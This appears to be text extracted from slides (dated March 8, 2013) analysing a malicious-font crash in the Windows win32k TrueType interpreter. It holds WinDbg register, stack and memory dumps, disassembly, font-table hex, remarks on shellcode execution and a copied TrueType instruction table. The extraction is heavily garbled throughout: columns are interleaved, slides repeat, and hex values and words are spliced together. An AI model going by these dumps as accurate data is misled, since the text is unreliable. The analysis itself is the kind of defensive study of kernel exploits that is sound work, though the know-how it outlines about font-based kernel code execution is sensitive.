e2481248 43 b0 02 e2481774 43 61 b0e2481f84 0d 23 78win32k!fsg_ExecuteGlyph+0x1d3 b0 01 43 b0 |x..C..Ca..#x..C.| b207aa94 bf85e8bc (The author is dyslexic?) 0003bb70 42 b0 02 b0 03 43 42 b0 03 b0 00 43 45 42 b8 ff |B....CB....CEB..| 0003bb80 1c b0 00 43 b0 03 60 45 b0 50 60 b0 00 43 23 |....C..`E.P`..C#| BUCKET_ID:b5 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c 0003bb90 44 b0 01 1f b0 00 43 b0 03 43 44 31 37 01 01 00 |D.....C..CD17...| 0003bba0 00 00 08 00 66 00 03 00 01 04 09 00 00 00 66 |.....f.........f| Followup: 00 MachineOwner 0003bbb0 --------- 00 00 00 03 00 01 04 09 00 01 00 0c 00 66 00 03 |.............f..| 0003bbc0 00 01 04 09 00 02 00 0e 00 72 00 03 00 01 04 09 |.........r......| 0003bbd0 00 03 00 1c 00 80 00 03 00 01 04 09 00 04 00 0c |................| kd> .tss 0x28 0003bbe0 00 66 00 03'glyf' 00 01ecx=e2482084 04 09 00 00 18Data 00 9c[...] 00 03 |.f..............| Table - 05 Glyph eax=e2481f84 ebx=e2481afc edx=00000001 esi=e2481fe0 edi=013abb94 0003bbf0 00 01 04 09 00 06 00 0c 00 66 00 03 00 01 04 09 |.........f......| eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei nglen nz ac pe nc Glyph 5:00 off = 79 0x00000000, = 188 0003bc00 00 07 00 62 00 b4 00 43 00 6f 70 00 00 72 |...b...C.o.p.y.r| cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 [...] Length of Instructions: 169 0003bc10 00 69 00 67 00 68 00 74 00 20 00 a9 00 20 00 32 |.i.g.h.t. ... .2| e2482368 e8fbffffff call e2482368 [...] ... What could 0x3137 possibly mean? The flags don’t actually make any sense. kd> D 013abb9b 013abb9b 31 37 013abbab 09 00 013abbbb 0c 00 013abbcb 03 00 013abbdb 09 00 013abbeb 18 00 013abbfb 03 00 013abc0b 70 00 Friday, March 8, 2013 00167: RS WCVTP 01 01 00 00 0000168: 00-08 00 66 00 03 00 01 04 00 66 01 04 9c 01 79 00 00 04 00 00 04 00 66 03 09 0c 03 09 72 00 00 00 00 00 00 00 00 00-03 01Flags 04-09 03 00-1c ----66 00-03 0: 01 04-09 1: 07 00-62 69 00-67 00 01 04 09 00 00 02 00 0e 00 00 80 00 03 00 00 01 04 09 00 YDual XDual 00 06 00 0c 00 YDual XDual 00 b4 00 43 00 00 68 00 74 00 01 72 01 05 66 6f 20 00 00 04 00 00 00 00 17........f..... ....f........... ..f...........r. ................ ......f......... ..............f. Y-Short X-Short ........b...C.o. p.y.r.i.g.h.t. . On On ... 00000060 00 00 00 00 00 03 ba d0 00 00 00 02 66 70 67 6d |............fpgm| 00000070 7f 06 e9 00 00 from 00 01bf85bff7 0c 00 03 9b 67 6c 79 66 |............glyf| LAST_CONTROL_TRANSFER: to b8 e2482368 00000080 18 d3 69 4b 00 03 ba e4 00 00 00 bc 68 65 61 64 |..iK........head| ... STACK_TEXT: 0003bad0 00 00 IP 00 not 00 00 00 00 00 00 Following 00 00 00 00 00 |................| WARNING: Frame in 00 any00known module. frames may be wrong. 0003bae0 00 5e 00 00 00 01 00 00 00 00 00 01 00 01 00 01 |.^..............| b207a9a0 bf85bff7 013abaf2 013abb9b e2481f84 0xe2482368 0003baf0 00 a9 b0 013abaf2 00 b0 00 013abb9b 42 4e b0e2481f84 00 43 45win32k!itrp_ExecuteGlyphPgm+0x4c 4d b0 00 43 |......BN..CEM..C| b207a9c8 bf85f92f 0003bb00 45 61 b0 e248155c 17 23 78 00000001 b0 00 4300000000 b0 01 60win32k!fsg_SimpleInnerGridFit+0x103 20 b0 00 23 |Ea..#x..C..` ..#| b207a9fc bf862709 0003bb40 78 b0 01 e2481248 43 b0 02 e2481774 43 61 b0e2481f84 0d 23 78win32k!fsg_ExecuteGlyph+0x1d3 b0 01 43 b0 |x..C..Ca..#x..C.| b207aa94 bf85e8bc (The author is dyslexic?) 0003bb70 42 b0 02 b0 03 43 42 b0 03 b0 00 43 45 42 b8 ff |B....CB....CEB..| 0003bb80 1c b0 00 43 b0 03 60 45 b0 50 60 b0 00 43 23 |....C..`E.P`..C#| BUCKET_ID:b5 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c 0003bb90 44 b0 01 1f b0 00 43 b0 03 43 44 31 37 01 01 00 |D.....C..CD17...| 0003bba0 00 00 08 00 66 00 03 00 01 04 09 00 00 00 66 |.....f.........f| Followup: 00 MachineOwner 0003bbb0 --------- 00 00 00 03 00 01 04 09 00 01 00 0c 00 66 00 03 |.............f..| 0003bbc0 00 01 04 09 00 02 00 0e 00 72 00 03 00 01 04 09 |.........r......| 0003bbd0 00 03 00 1c 00 80 00 03 00 01 04 09 00 04 00 0c |................| kd> .tss 0x28 0003bbe0 00 66 00 03'glyf' 00 01ecx=e2482084 04 09 00 00 18Data 00 9c[...] 00 03 |.f..............| Table - 05 Glyph eax=e2481f84 ebx=e2481afc edx=00000001 esi=e2481fe0 edi=013abb94 0003bbf0 00 01 04 09 00 06 00 0c 00 66 00 03 00 01 04 09 |.........f......| eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei nglen nz ac pe nc Glyph 5:00 off = 79 0x00000000, = 188 0003bc00 00 07 00 62 00 b4 00 43 00 6f 70 00 00 72 |...b...C.o.p.y.r| cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 [...] Length of Instructions: 169 0003bc10 00 69 00 67 00 68 00 74 00 20 00 a9 00 20 00 32 |.i.g.h.t. ... .2| e2482368 e8fbffffff call e2482368 [...] ... What could 0x3137 possibly mean? The flags don’t actually make any sense. kd> D 013abb9b 013abb9b 31 37 013abbab 09 00 013abbbb 0c 00 013abbcb 03 00 013abbdb 09 00 013abbeb 18 00 013abbfb 03 00 013abc0b 70 00 Friday, March 8, 2013 00167: RS WCVTP 01 01 00 00 0000168: 00-08 00 66 00 03 00 01 04 00 66 01 04 9c 01 79 00 00 04 00 00 04 00 66 03 09 0c 03 09 72 00 00 00 00 00 00 00 00 00-03 01Flags 04-09 03 00-1c ----66 00-03 0: 01 04-09 1: 07 00-62 69 00-67 00 01 04 09 00 00 02 00 0e 00 00 80 00 03 00 00 01 04 09 00 YDual XDual 00 06 00 0c 00 YDual XDual 00 b4 00 43 00 00 68 00 74 00 01 72 01 05 66 6f 20 00 00 04 00 00 00 00 17........f..... ....f........... ..f...........r. ................ ......f......... ..............f. Y-Short X-Short ........b...C.o. p.y.r.i.g.h.t. . On On LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 kd> U win32k!itrp_ExecuteGlyphPgm win32k!itrp_ExecuteGlyphPgm+60 win32k!itrp_ExecuteGlyphPgm: bf85bfab 8bff mov edi,edi bf85bfad 55 push ebp bf85bfae 8bec mov ebp,esp bf85bfb0 51 push ecx bf85bfb1 53 push ebx bf85bfb2 8b5d10 mov ebx,dword ptr [ebp+10h] bf85bfb5 56 push esi bf85bfb6 894dfc mov dword ptr [ebp-4],ecx bf85bfb9 57 push edi bf85bfba 8d7324 lea esi,[ebx+24h] This is the saved EIP bf85bfed bf85bff0 bf85bff2 bf85bff7 bf85bff9 bf85bffc bf85bfff Friday, March 8, 2013 8b4dfc 8bd0 e808330000 8bd0 8b4b68 8b7330 33c0 mov mov call mov mov mov xor ecx,dword ptr [ebp-4] edx,eax win32k!itrp_Execute (bf85f2ff) edx,eax ; fault ecx,dword ptr [ebx+68h] esi,dword ptr [ebx+30h] eax,eax LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 kd> U win32k!itrp_ExecuteGlyphPgm win32k!itrp_ExecuteGlyphPgm+60 win32k!itrp_ExecuteGlyphPgm: bf85bfab 8bff mov edi,edi bf85bfad 55 push ebp bf85bfae 8bec mov ebp,esp bf85bfb0 51 push ecx bf85bfb1 53 push ebx bf85bfb2 8b5d10 mov ebx,dword ptr [ebp+10h] bf85bfb5 56 push esi bf85bfb6 894dfc mov dword ptr [ebp-4],ecx bf85bfb9 57 push edi bf85bfba 8d7324 lea esi,[ebx+24h] So this CALL leads to shellcode exec. bf85bfed bf85bff0 bf85bff2 bf85bff7 bf85bff9 bf85bffc bf85bfff Friday, March 8, 2013 8b4dfc 8bd0 e808330000 8bd0 8b4b68 8b7330 33c0 mov mov call mov mov mov xor ecx,dword ptr [ebp-4] edx,eax win32k!itrp_Execute (bf85f2ff) edx,eax ; fault ecx,dword ptr [ebx+68h] esi,dword ptr [ebx+30h] eax,eax LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc b207aaf0 bf85e779 b207ab30 bf85ed09 b207aba8 bf85c15d b207abb4 bf85c18f kd> D e2481f84 e2481f84 fc 1a e2481f94 00 00 e2481fa4 00 00 e2481fb4 00 00 e2481fc4 03 00 e2481fd4 09 00 e2481fe4 00 00 e2481ff4 40 00 48 04 00 00 00 03 00 00 from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 e2481248 e2481f84 e2481764 win32k!fsg_CreateGlyphData+0xd5 e2481248 e2481f84 e24812bc win32k!fsg_GridFit+0x4d 00000001 b207abc4 bf85c18f win32k!fs__Contour+0x291 e2481010 e2481074 b207abdc win32k!fs_ContourGridFit+0x12 And this argument? e2 00 00 00 00 00 00 00 00 00 44 00 00 80 00 69 1f 00 00 00 00 00 00 c2 48 00 00 00 00 00 00 85 e2-80 00-00 00-00 00-40 00-00 00-01 00-00 bf-03 1f 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 e2 00 00 00 00 00 00 00 04 00 00 69 00 44 00 00 00 00 00 c2 00 00 00 00 03 00 00 85 00 00 00 00 00 00 00 bf 00 00 00 00 ..H...H...H..... ................ ....D........... [email protected]... ................ ............D... ................ @...i........... TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 Friday, March 8, 2013 LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc b207aaf0 bf85e779 b207ab30 bf85ed09 b207aba8 bf85c15d b207abb4 bf85c18f kd> D e2481f84 e2481f84 fc 1a e2481f94 00 00 e2481fa4 00 00 e2481fb4 00 00 e2481fc4 03 00 e2481fd4 09 00 e2481fe4 00 00 e2481ff4 40 00 48 04 00 00 00 03 00 00 from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 e2481248 e2481f84 e2481764 win32k!fsg_CreateGlyphData+0xd5 e2481248 e2481f84 e24812bc win32k!fsg_GridFit+0x4d 00000001 b207abc4 bf85c18f win32k!fs__Contour+0x291 e2481010 e2481074 b207abdc win32k!fs_ContourGridFit+0x12 e2 00 00 00 00 00 00 00 00 00 44 00 00 80 00 69 1f 00 00 00 00 00 00 c2 48 00 00 00 00 00 00 85 e2-80 00-00 00-00 00-40 00-00 00-01 00-00 bf-03 1f 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 e2 00 00 00 00 00 00 00 04 00 00 69 00 44 00 00 00 00 00 c2 00 00 00 00 03 00 00 85 00 00 00 00 00 00 00 bf 00 00 00 00 ..H...H...H..... ................ ....D........... [email protected]... ................ ............D... ................ @...i........... Obviously more pointers... e2481afc e2481f00 e2481f80 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 Friday, March 8, 2013 Oh, and EDI is pointing just at the end of the TT program TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> Db 013abb94 013abb94 b0 00 013abba4 00 66 013abbb4 00 01 013abbc4 00 02 013abbd4 00 80 013abbe4 00 01 013abbf4 00 06 013abc04 00 b4 Friday, March 8, 2013 43 00 04 00 00 04 00 00 b0 03 09 0e 03 09 0c 43 03 00 00 00 00 00 00 00 43 01 01 72 01 05 66 6f 44 04 00 00 04 00 00 00 31-37 09-00 0c-00 03-00 09-00 18-00 03-00 70-00 00161: 00162: 00164: 00165: 00167: 00168: 01 00 66 01 04 9c 01 79 01 00 00 04 00 00 04 00 00 66 03 09 0c 03 09 72 00 00 00 00 00 00 00 00 00 00 01 03 66 01 07 69 SSW PUSHB[1] 0 RS PUSHB[1] 3 RS WCVTP 00 00 04 00 00 04 00 00 08 03 09 1c 03 09 62 67 ..C..CD17....... .f.........f.... .........f...... .....r.......... .............f.. ................ .....f.........b ...C.o.p.y.r.i.g Oh yeah, and that stack overflow I mentioned earlier TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> d b2077000 b2077000 e248236d b2077010 e248236d b2077020 e248236d b2077030 e248236d b2077040 e248236d b2077050 e248236d b2077060 e248236d b2077070 e248236d Friday, March 8, 2013 e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d e248236d TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> d e2481fe0 e2481fe0 00000044 e2481ff0 00000000 e2482000 00000000 e2482010 00010080 e2482020 00000000 e2482030 e2482368 e2482040 0003b89b e2482050 00000000 kd> u e2482368 e2482368 e8fbffffff e248236d 0000 e248236f 0000 e2482371 0000 Friday, March 8, 2013 00000000 00000040 00000000 00000001 00000000 e24bdbb3 00000000 00000000 00000000 bf85c269 00000000 e2481f80 bf85bd4b 0000000d 00000000 00000000 call add add add 00000000 00000003 00030009 e2481f80 bf85bd4b e2482318 00000000 00000000 e2482368 byte ptr [eax],al byte ptr [eax],al byte ptr [eax],al And another thing... shellcode TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> d e2481fe0 e2481fe0 00000044 e2481ff0 00000000 e2482000 00000000 e2482010 00010080 e2482020 00000000 e2482030 e2482368 e2482040 0003b89b e2482050 00000000 00000000 00000040 00000000 00000001 00000000 e24bdbb3 00000000 00000000 00000000 bf85c269 00000000 e2481f80 bf85bd4b 0000000d 00000000 00000000 00000000 00000003 00030009 e2481f80 bf85bd4b e2482318 00000000 00000000 Distance: 80 (0x50) bytes, might be a clue kd> u e2482368 e2482368 e8fbffffff e248236d 0000 e248236f 0000 e2482371 0000 Friday, March 8, 2013 call add add add e2482368 byte ptr [eax],al byte ptr [eax],al byte ptr [eax],al TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 kd> u e2482368 e2482368 e8fbffffff e248236d 0000 e248236f 0000 e2482371 0000 Friday, March 8, 2013 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 call add add add 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 And another thing... 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 e2482368 byte ptr [eax],al byte ptr [eax],al byte ptr [eax],al 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 shellcode 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 Distance: 172 (0xAC) bytes, might be a clue kd> u e2482368 e2482368 e8fbffffff e248236d 0000 e248236f 0000 e2482371 0000 Friday, March 8, 2013 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 call add add add 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 e2482368 byte ptr [eax],al byte ptr [eax],al byte ptr [eax],al 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> d /c8 e2481afc e2481b1c e2481b3c e2481b5c e2481b7c e2481b9c e2481bbc e2481afc 00000001 00000000 00000000 00000000 00000000 00000000 00000000 kd> u e2482368 e2482368 e8fbffffff e248236d 0000 e248236f 0000 e2482371 0000 Friday, March 8, 2013 e2482368 00000000 00000000 00000000 00000000 00000000 00000000 0000002c 00000000 00000000 00000000 00000000 00000000 00000000 call add add add 00030009 00000000 00000000 00000000 00000000 00000000 00000000 Oh, and another thing... 00000000 00000000 00000000 00000000 00000000 00000000 00000000 e2482368 byte ptr [eax],al byte ptr [eax],al byte ptr [eax],al 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 shellcode 00000 00000 00000 00000 00000 00000 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> d /c8 e2481afc e2481b1c e2481b3c e2481b5c e2481b7c e2481b9c e2481bbc e2481afc 00000001 00000000 00000000 00000000 00000000 00000000 00000000 0000002c 00000000 00000000 00000000 00000000 00000000 00000000 Distance: 4 bytes, might be a clue kd> u e2482368 e2482368 e8fbffffff e248236d 0000 e248236f 0000 e2482371 0000 Friday, March 8, 2013 e2482368 00000000 00000000 00000000 00000000 00000000 00000000 call add add add 00030009 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 e2482368 byte ptr [eax],al byte ptr [eax],al byte ptr [eax],al 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000 00000 00000 00000 00000 00000 00000 win32k.sys Friday, March 8, 2013 IDA • Ok, so for some reason itrp_Execute (x,x,x,x,x,x) is jumping into shellcode... Friday, March 8, 2013 Here’s the function Friday, March 8, 2013 Hey, what’s all this? Friday, March 8, 2013 Hey, what’s all this? I’ve seen this somewhere before... Instruction Set Summary Friday, March 8, 2013 DUP[ ] EIF[ ] ELSE ENDF[ ] EQ[ ] EVEN[ ] FDEF[ ] FLIPOFF[ ] FLIPON[ ] FLIPPT[ ] FLIPRGOFF[ ] FLIPRGON[ ] FLOOR[ ] GC[a] GETINFO[ ] GFV[ ] GPV[ ] GT[ ] GTEQ[ ] IDEF[ ] IF[ ] INSTCTRL IP[ ] ISECT[ ] IUP[a] JMPR JROF[ ] JROT[ ] LOOPCALL[ ] http://developer.apple.com/font 0x20 e 0x59 0x1B 0x2D 0x54 e2, e1 0x57 e 0x2C f 0x4E 0x4D 0x80 p1, p2, ..., ploopvalue 0x82 h, l 0x81 h, l 0x66 n 0x46 - 0x47 p 0x88 selector 0x0D 0x0C 0x52 e2, e1 0x53 e2, e1 0x89 f 0x58 e 0x8E s, v 0x39 p1, p2, ... , ploopvalue 0x0F a1, a0, b1, b0, p 0x30 - 0x31 0x1C offset 0x79 e, offset 0x78 e, offset 0x2A f, count e, e b b În° c result px, py px, py b b - Search Advanced Search Log In | Not a Member? Support Return to Index Instruction Set Summary The following tables provide a quick summary of the names, opcodes, instruction stream and stack interaction of the TrueType instruction set. The first table lists those instructions that take data from the instruction stream and place it onto the interpreter stack. The second table lists the remaining TrueType instructions which take their arguments from the stack. Table 1 Instructions taking data from the instruction stream Instruction Opcode From Instruction Stream Pushes NPUSHB[ ] NPUSHW[ ] PUSHB[abc] PUSHW[abc] 0x40 n, b1, b2,...bn 0x41 n, w1, w2,...w 0xB0 - 0xB7 b0, b1,..bn 0xB8 - 0xBF w0,w1,..wn b1,b2...bn w1,w2...wn b0, b1, ...,bn w0 ,w1, ...wn Table 2 Instructions taking data from the interpreter stack Instruction Opcode Pops AA[ ] ABS[ ] ADD[ ] ALIGNPTS[ ] ALIGNRP[ ] AND[ ] CALL[ ] CEILING[ ] CINDEX[ ] CLEAR[ ] DEBUG[ ] DELTAC1[ ], DELTAC2[ ] DELTAC3[ ] DELTAP1[ ] DELTAP2[ ] DELTAP3[ ] DEPTH[ ] DIV[ ] Friday, March 8, 2013 0x7F 0x64 0x60 0x27 0x3C 0x5A 0x2B 0x67 0x25 0x22 0x4F 0x73 0x74 0x75 0x5D 0x71 0x72 0x24 0x62 Pushes p n |n| n2, n1 (n1 + n2) p2, p1 p1, p2, ... , ploopvalue e2, e1 b f n Èn k ek all items on the stack n argn, cn, argn-1,cn-1, , arg1, c1 argn, cn, argn-1,cn-1, , arg1, c1 argn, cn, argn-1,cn-1, , arg1, c1 argn, pn, argn-1, pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 n n2, n1 (n1 * 64)/ n2 MSIRP[a] 0x3A -taking 0x3B d, p from the interpreter stackTable 2 Instructions data MUL[ ] 0x63 n2, n1 NEG[ ] 0x65 n Instruction Opcode Pops NEQ[] ] 0x55 e2, AA[ 0x7F p e1 NOT[] ] 0x5C e ABS[ 0x64 n NROUND[ab] 0x6C - 0x6F n1 ADD[ ] 0x60 n2, n1 ODD[ ] 0x56 e ALIGNPTS[ ] 0x27 p2, p1 OR[ ] 0x5B e2, ALIGNRP[ ] 0x3C p1, e1 p2, ... , ploopvalue POP[ ]] 0x21 e AND[ 0x5A e2, e1 RCVT[ ]] 0x45 location CALL[ 0x2B f RDTG[ ] ] 0x7D CEILING[ 0x67 n ROFF[ ] ] 0x7A CINDEX[ 0x25 k 2 of 4 1 of 4 Friday, March 8, 2013 CLEAR[ ] DEBUG[ ] DELTAC1[ ], DELTAC2[ ] DELTAC3[ ] DELTAP1[ ] DELTAP2[ ] DELTAP3[ ] DEPTH[ ] DIV[ ] 0x22 0x4F 0x73 0x74 0x75 0x5D 0x71 0x72 0x24 0x62 (n1 * n2)/64 -n Pushes b(|n| not e ) n2 (n1 + n2) bb-b value -Èn -ek all items on the stack n argn, cn, argn-1,cn-1, , arg1, c1 argn, cn, argn-1,cn-1, , arg1, c1 argn, cn, argn-1,cn-1, , arg1, c1 argn, pn, argn-1, pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 n n2, n1 (n1 * 64)/ n2 2 of 4 1 of 4 Friday, March 8, 2013 MIRP[abcde] 0xE0 - 0xFF n, p Table 2 ]Instructions MPPEM[ 0x4B taking-data from the interpreter stack ppem MPS[ ] 0x4C pointSize Instruction Opcode Pops MSIRP[a] 0x3A - 0x3B d, p - Pushes MUL[ 0x63 n2, (n1 AA[ ] ] 0x7F p n1 - * n2)/64 NEG[] ] 0x65 nn -n|n| ABS[ 0x64 NEQ[ ] 0x55 e2, b (n1 + n2) ADD[ 0x60 n2,e1 n1 NOT[ ] 0x5C ep2, p1 ( not ALIGNPTS[ ] 0x27 - e) NROUND[ab] 0x6C - 0x6F n1 n2 ALIGNRP[ ] 0x3C p1, p2, ... , ploopvalue ODD[ ]] 0x56 ee2, e1 bb AND[ 0x5A OR[ ] ] 0x5B e2, bCALL[ 0x2B f e1 POP[ ] ] 0x21 en - Èn CEILING[ 0x67 RCVT[ ] ] 0x45 location value CINDEX[ 0x25 k ek RDTG[ ]] 0x7D -all items on the stack -CLEAR[ 0x22 ROFF[ ] ] 0x7A -n -DEBUG[ 0x4F DELTAC1[ ], 0x73 argn, cn, argn-1,cn-1, , arg1, c1 DELTAC2[ ] 0x74 argn, cn, argn-1,cn-1, , arg1, c1 DELTAC3[ ] 0x75 argn, cn, argn-1,cn-1, , arg1, c1 DELTAP1[ ] 0x5D argn, pn, argn-1, pn-1, , arg1, p1 DELTAP2[ ] 0x71 argn, pn, argn-1, pn-1, , arg1, p1 DELTAP3[ ] 0x72 argn, pn, argn-1, pn-1, , arg1, p1 DEPTH[ ] 0x24 n DIV[ ] 0x62 n2, n1 (n1 * 64)/ n2 MPS[ ] 2 Instructions 0x4C taking data Table from the interpreter stack pointSize MSIRP[a] 0x3A - 0x3B d, p MUL[ ] 0x63 n2, n1 (n1 * n2)/64 Instruction Opcode Pops Pushes NEG[ 0x65 AA[ ] ] 0x7F pn - -n NEQ[] ] 0x55 ABS[ 0x64 ne2, e1 |n|b NOT[ ]] 0x5C e n1 e) ADD[ 0x60 n2, (n1( not + n2) NROUND[ab] 0x6C - 0x6Fp2, n1p1 ALIGNPTS[ ] 0x27 - n2 ODD[ ] ] 0x56 e p2, ... , ploopvalue ALIGNRP[ 0x3C p1, - b OR[ ] ] 0x5B e2,e1e1 AND[ 0x5A e2, b b POP[ ]] 0x21 CALL[ 0x2B fe - RCVT[ ] ] 0x45 CEILING[ 0x67 nlocation Ènvalue RDTG[ ] ] 0x7D CINDEX[ 0x25 kekCLEAR[ 0x22 all- items on the stack - ROFF[ ]] 0x7A 2 of 4 1 of 4 Friday, March 8, 2013 DEBUG[ ] DELTAC1[ ], DELTAC2[ ] DELTAC3[ ] DELTAP1[ ] DELTAP2[ ] DELTAP3[ ] DEPTH[ ] DIV[ ] 0x4F 0x73 0x74 0x75 0x5D 0x71 0x72 0x24 0x62 n argn, cn, argn-1,cn-1, , arg1, c1 argn, cn, argn-1,cn-1, , arg1, c1 argn, cn, argn-1,cn-1, , arg1, c1 argn, pn, argn-1, 